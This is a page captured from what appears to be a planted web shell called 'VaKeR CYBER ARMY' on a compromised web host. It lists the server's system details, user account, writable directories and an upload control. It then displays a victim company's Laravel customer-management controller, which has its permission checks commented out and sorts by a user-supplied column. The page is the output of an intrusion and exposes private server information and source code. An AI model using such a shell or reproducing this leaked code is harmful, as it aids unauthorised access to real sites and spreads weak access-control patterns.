VaKeR CYBER ARMY
Logo of a company Server : Apache
System : Linux host44.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : vapecompany ( 2719)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/vapecompany/demo.vapecompany.com.bd/app/Http/Controllers/Backend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/vapecompany/demo.vapecompany.com.bd/app/Http/Controllers/Backend/CustomerController.php
<?php

namespace App\Http\Controllers\Backend; 
use App\Http\Controllers\Controller;

use App\Models\Customer;
use App\Models\CustomerType;
use App\Models\Division;
use App\Models\District;
use App\Models\Region;
use App\Models\Area;
use App\Models\SalesTarget;
use Carbon\Carbon;
use Illuminate\Http\Request;

class CustomerController extends Controller
{
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function __construct()
    {
        $this->middleware('admin');
       
    }
    public function index()
    {
        // if(!auth()->user()->canEvent('all_customer'))
        // {
        //     return redirect('/');
        // }
      
        //dd(auth()->user()->employee);
        return view('backend.customer.list');
    }
    function get_all_customer(Request $request){
        $draw = $request->get('draw');
        $start = $request->get("start");
        $rowperpage = $request->get("length"); // Rows display per page

        $columnIndex_arr = $request->get('order');
        $columnName_arr = $request->get('columns');
        $order_arr = $request->get('order');
        $search_arr = $request->get('search');

        $columnIndex = $columnIndex_arr[0]['column']; // Column index
        $columnName = $columnName_arr[$columnIndex]['data']; // Column name
        $columnSortOrder = $order_arr[0]['dir']; // asc or desc
        $searchValue = $search_arr['value']; // Search value
        $customers="";
        $totalRecords = 0;
        // if(auth()->user()->employee->user_type == 3){
        //     $dat=Carbon::now()->format('Y')*100+Carbon::now()->format('m');
        //     $salesTarget =SalesTarget::where('month',$dat)->where('employee_id',auth()->user()->user_id)->first();
        //     if($salesTarget){
        //         $area=json_decode($salesTarget->area);
        //     }else{
        //         $area=[];
        //     }
        //     $customers=Customer::whereIn('area_id',$area)
        //         ->where(function($query) use ($searchValue){
        //         $query->where('customer_id', 'like', $searchValue . '%')
        //               ->orWhere('customer_name', 'like', '%' .$searchValue . '%')
        //             ->orWhere('customer_email', 'like', '%' .$searchValue . '%')
        //             ->orWhere('customer_address', 'like', '%' .$searchValue . '%')
        //             ->orWhere('customer_phone', 'like', '%' .$searchValue . '%');
        //     });
        //     $totalRecords=$customers->count();
        // }else{ 
            $customers =Customer::orderBy($columnName,$columnSortOrder)
            ->select('customers.*')
            ->leftJoin('customer_types','customer_types.customer_type_id','customers.customer_type_id')
            ->leftJoin('divisions','divisions.division_id','customers.division_id')
            ->leftJoin('districts','districts.district_id','customers.district_id')
            ->leftJoin('regions','regions.region_id','customers.region_id')
            ->leftJoin('areas','areas.area_id','customers.area_id');
            if($columnName_arr[0]['search']['value'] != null){
                $customers=$customers->Where('customer_id', $columnName_arr[0]['search']['value'] . '%');
            }
            if($columnName_arr[1]['search']['value'] != null){
                $customers=$customers->Where('customer_type_name', 'like', $columnName_arr[1]['search']['value'] . '%');
            }
            if($columnName_arr[2]['search']['value'] != null){
                $customers=$customers->Where('customer_name', 'like', $columnName_arr[2]['search']['value'] . '%');
            }
            if($columnName_arr[3]['search']['value'] != null){
                $customers=$customers->Where('region_name', 'like', $columnName_arr[3]['search']['value'] . '%');
            }
            if($columnName_arr[4]['search']['value'] != null){
                $customers=$customers->Where('division_name', 'like', $columnName_arr[4]['search']['value'] . '%');
            }
            if($columnName_arr[5]['search']['value'] != null){
                $customers=$customers->Where('district_name', 'like', $columnName_arr[5]['search']['value'] . '%');
            }
            if($columnName_arr[6]['search']['value'] != null){
                $customers=$customers->Where('area_name', 'like', $columnName_arr[6]['search']['value'] . '%');
            }
            if($columnName_arr[7]['search']['value'] != null){
                $customers=$customers->Where('customer_address', 'like', $columnName_arr[7]['search']['value'] . '%');
            }
            if($columnName_arr[8]['search']['value'] != null){
                $customers=$customers->Where('customer_email', 'like', $columnName_arr[8]['search']['value'] . '%');
            }
            if($columnName_arr[9]['search']['value'] != null){
                $customers=$customers->Where('customer_phone', 'like', $columnName_arr[9]['search']['value'] . '%');
            }
            if($columnName_arr[10]['search']['value'] != null){
                $customers=$customers->Where('customer_mobile', 'like', $columnName_arr[10]['search']['value'] . '%');
            }
            if($columnName_arr[11]['search']['value'] != null){
                $customers=$customers->Where('customer_website', 'like', $columnName_arr[11]['search']['value'] . '%');
            }
            if($columnName_arr[12]['search']['value'] != null){
                $customers=$customers->Where('customers.status', $columnName_arr[12]['search']['value'] );
            }
            
            $totalRecords=$customers->count();
        // }
        if($rowperpage < 0) {
            $rowperpage = 8999999999999999999;
        }
        $customers=$customers->skip($start)
            ->take($rowperpage)
            ->get();
        $data_arr = array();
        foreach($customers as $customer){

            $action ='<div role="group" aria-label="Basic example" class="btn-group btn-group-sm">';
        //      if(auth()->user()->canEvent('edit_customer'))
        //    { 
              $action .='<a href="'.url('admin/edit_customer/'.$customer->customer_id).'" class="mr-2">
                                                        <i class="fa fa-edit text-warning"></i>
                                                    </a> ';
        //    }
        //       if(auth()->user()->canEvent('c_document_list'))
        //    {                                        
               $action .='<a href="'.url('admin/document/customer').'/'.$customer->customer_id.'" class="mr-2">
                                                        Docuemnt</i></a>';
        //    }
               $action .='</div>';
          
                                               
            $data_arr[] = array(
                "customer_id" => $customer->customer_id,
                "customer_name" => $customer->customer_name,
                "customer_email" => $customer->customer_email,
                "customer_type" => $customer->type->customer_type_name,
                "customer_mobile" => $customer->customer_mobile,
                "customer_website" => $customer->customer_website,
                "customer_phone" => $customer->customer_phone,
                "customer_address" => $customer->customer_address,
                "division_id" => $customer->division ? $customer->division->division_name:'',
                "district_id" =>$customer->district ? $customer->district->district_name : '',
                "region_id" => $customer->region ? $customer->region->region_name:'',
                "area_id" =>$customer->area ? $customer->area->area_name : '',
                "status" => $customer->status == 1 ? 'Active' : 'In Active',
                "Action" => $action,
            );
        }
        $response = array(
            "draw" => intval($draw),
            "recordsTotal" => $totalRecords,
            "recordsFiltered" => $totalRecords,
            "data" => $data_arr
        ); 

        echo json_encode($response);
        exit;
    }
    function getCustomerBydiv(Request $request){
      $con=array();
      if($request->division_id){
        $con['division_id']=$request->division_id;
      }
      if($request->district_id){
        $con['district_id']=$request->district_id;
      }
      $customers =Customer::where($con)
            ->get();

            return $customers;
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create() 
    {
        // if(!auth()->user()->canEvent('new_customer'))
        // {
        //     return redirect('/');
        // }
          $customer_type = CustomerType::where('status',1)->get();
          $divisions=Division::where('status',1)->get();
          $regions=Region::where('status',1)->get();
        return view('backend.customer.create',['regions'=>$regions,'customer_type'=>$customer_type,'divisions'=>$divisions]);
    
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        $validator = \Validator::make($request->all(), [
            'customer_name' => 'required|max:150',
            
            'customer_phone' => 'max:20',
            'customer_address' => 'required',
            'customer_mobile' => 'max:20',
            'customer_type' => 'required',
           
        ]);
        
        if ($validator->fails())
        {
            return response()->json(['errors'=>$validator->errors()->all()]);
        }else{
           //return  response()->json(['re'=> auth()->user()->user_id]);
            $customer =  new Customer;
            $customer->customer_name = $request->customer_name;
            $customer->customer_email = $request->customer_email;
            $customer->customer_phone = $request->customer_phone;
            $customer->customer_address = $request->customer_address;
            $customer->customer_type_id = $request->customer_type;
            $customer->customer_mobile = $request->customer_mobile;
            $customer->customer_website = $request->customer_website;
            $customer->division_id = $request->division ? $request->division : 0;
            $customer->district_id = $request->district ? $request->district : 0;
            $customer->area_id = $request->area ? $request->area : 0;
            $customer->region_id = $request->region ? $request->region : 0;
            $customer->status = $request->status ? $request->status : 0;
            // $customer->created_by = auth()->user()->user_id;
            $customer->save();
        }
        return response()->json(['errors'=>'0','success'=>$request->customer_name.' is successfully added']);
    }

    /**
     * Display the specified resource.
     *
     * @param  \App\Models\Customer  $customer
     * @return \Illuminate\Http\Response
     */
    public function show(Customer $customer)
    {
        //
    }

    /**
     * Show the form for editing the specified resource.
     *
     * @param  \App\Models\Customer  $customer
     * @return \Illuminate\Http\Response
     */
    public function edit($id)
    {
        // if(!auth()->user()->canEvent('edit_customer'))
        // {
        //     return redirect('/');
        // }
        // $customer_type = CustomerType::where('status',1)->get();
        $customer=Customer::where('customer_id',$id)->first();
        $customer_type = CustomerType::where('status',1)->orWhere('customer_type_id',$customer->customer_type_id)->get();
        $divisions=Division::where('status',1)->orWhere('division_id',$customer->division_id)->get();
        $districts=District::where('division_id',$customer->division_id)->orWhere('district_id',$customer->district_id)->where('status',1)->get();
        $regions=Region::where('status',1)->get();
        $areas=Area::where('division_id',$customer->division_id)->orWhere('district_id',$customer->district_id)->where('status',1)->get();
        //dd($customer);
        return view('backend.customer.edit',['areas'=>$areas,'regions'=>$regions,'customer'=>$customer,'customer_type'=>$customer_type,'divisions'=>$divisions,'districts'=>$districts]);
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \App\Models\Customer  $customer
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request, Customer $customer)
    {
        $id=$request->customer_id;
          $validator = \Validator::make($request->all(), [
            'customer_name' => 'required|max:150',
            
            'customer_phone' => 'max:20',
            'customer_address' => 'required',
            'customer_type' => 'required',
            'customer_mobile' => 'max:20',
           
        ]);
        
        if ($validator->fails())
        {
            return response()->json(['errors'=>$validator->errors()->all()]);
        }else{
           //return  response()->json(['re'=> auth()->user()->user_id]);
            $customer =   Customer::find($request->customer_id);
            $customer->customer_name = $request->customer_name;
            $customer->customer_email = $request->customer_email;
            $customer->customer_phone = $request->customer_phone;
            $customer->customer_mobile = $request->customer_mobile;
            $customer->customer_address = $request->customer_address;
            $customer->customer_type_id = $request->customer_type;
            $customer->customer_website = $request->customer_website;
          $customer->division_id = $request->division ? $request->division : 0;
            $customer->district_id = $request->district ? $request->district : 0;
            $customer->area_id = $request->area ? $request->area : 0;
            $customer->region_id = $request->region ? $request->region : 0;
            $customer->status = $request->status ? $request->status : 0;
            // $customer->updated_by = auth()->user()->user_id;
            $customer->save();
        }
        return response()->json(['errors'=>'0','success'=>$request->customer_name.' is successfully Updated']);
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  \App\Models\Customer  $customer
     * @return \Illuminate\Http\Response
     */
    public function destroy(Customer $customer)
    {
        //
    }
}

VaKeR 2022